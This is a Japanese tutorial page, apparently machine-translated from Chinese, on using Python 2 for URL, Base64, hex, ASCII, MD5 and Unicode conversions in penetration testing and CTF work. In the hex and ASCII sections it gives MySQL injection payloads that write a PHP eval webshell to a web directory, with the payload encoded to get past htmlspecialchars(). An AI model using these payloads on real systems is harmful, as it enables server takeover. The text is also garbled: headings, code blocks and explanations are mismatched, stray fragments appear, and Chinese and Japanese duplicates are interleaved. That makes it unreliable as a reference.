ホームページ  >  記事  >  バックエンド開発  >  Pythonでのエンコード変換例を詳しく解説

Pythonでのエンコード変換例を詳しく解説

Y2J
Y2Jオリジナル
2017-05-03 15:52:491516ブラウズ

日々のペネトレーション、脆弱性マイニング、さらには CTF コンテストでも、さまざまなエンコーディングに遭遇することがあり、多くの場合、これらのエンコーディング間のさまざまな変換が伴います。以下の記事ではPythonのエンコード変換の素晴らしい使い方についての関連情報を中心に紹介していますので、必要な方はぜひ参考にしてみてください。

前書き

私が最初に始めたとき、よく「Baidu: URL デコード、base64 暗号化、16 進数...」、または「Xiaokui 多機能変換」というツールを使用してエンコード変換の問題に対処したことを思い出します。 Tool」というソフトを使って、Burpsuiteのデコーダ機能を直接使ってみたのですが、なかなか良い感じです。ただし、オンライン変換効率が低い (検索に時間の 2/3 がかかる) という問題もいくつか発生しました。たとえば、この 2 つのツールでは、中国語の文字に関しては文字化けが発生することがよくあります。



毎日のエンコード変換ツールとしてPythonを使用するまで...

Python変換の旅を始めました

URLエンコード

URLエンコードはブラウザですフォーム入力のフォーマットをパッケージ化するWeb担当者としては最も馴染みのあるコーディング方法と言えます。

>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

Base64

Base64 は、Web フォームや HTTP 送信の一部のパラメーターとしてよく使用され、ユーザー情報などを送信する電子メール プロトコルにもよく使用されます。

>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'

ctf コンテストで Base32 復号化のテストを受けたことを覚えています。ほとんどの Web サイトではオンライン復号化が提供されておらず、続行する方法がないようでした。ただし、Python を使用する場合、関数を変更するだけで済みます。

>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'

Hex

Hex エンコーディングは、Web アプリケーションの一般的なエンコーディング スキームでもあります。 Web セキュリティの専門家として、私たちは MySQL インジェクションで 16 進数を使用して htmlspecialchars() 関数をバイパスし、Web シェルに書き込むことができることをよく知っています。 htmlspecialchars()函数从而写入webshell。

比如:

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

下面是python实现hex加解密的方法:

>>> &#39;<?php @eval($_POST[a]); ?>&#39;.encode(&#39;hex&#39;)
&#39;3c3f70687020406576616c28245f504f53545b615d293b203f3e&#39;
>>>
>>> print &#39;3c3f70687020406576616c28245f504f53545b615d293b203f3e&#39;.decode(&#39;hex&#39;)
<?php @eval($_POST[a]); ?>
>>>

ASCii

MySQL中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()

例:

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile &#39;/web/1.php&#39;

以下は、Python が 16 進暗号化と復号化を実装する方法です:

>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print chr(112)
p

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print &#39;&#39;.join(map(chr,l)) #感谢pcat表哥指出的方法
<?php phpinfo() ?>

ASCii MySQL の char() 関数は、ASCII コードを変換します。 、この機能を使用して、htmlspecialchars() 関数をバイパスすることもできます。

例:

>>> from hashlib import md5
>>> m = md5()
>>> m.update(&#39;this is a secret&#39;)
>>> m.hexdigest()
&#39;7dbbcee180ba4d456e4aa1cfbdad9c7b&#39;

>>> m.hexdigest()[8:-8]
&#39;80ba4d456e4aa1cf&#39;
>>>

Pythonを使用して文字列をASCIIに変換するのは非常に簡単ですが、逆変換には少し操作が必要です:

>>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
你需要重新登陆
Md5

md5は人気があると言えますWeb セキュリティの世界では、ご存知のとおり、その不可逆性により、ほとんどの Web サイトでは、ユーザー パスワードなどの重要なデータを保存するときに md5 暗号化がよく使用されます。ペイロードを送信するために md5 暗号化が必要になる場合があります。この場合、次の方法を使用することで簡単に実現できます。もちろん、復号化には cmd5 を使用することをお勧めします。 rrreeeUnicodeから中国語へ

🎜🎜🎜🎜Unicodeから中国語への変換は、多くの状況で発生する可能性があります。特に侵入テストを行う場合。 burpを使用すると、漢字化けの問題が発生しますが、Pythonで実装するのは非常に簡単です。 🎜えー🎜🎜🎜概要🎜🎜🎜

以上がPythonでのエンコード変換例を詳しく解説の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。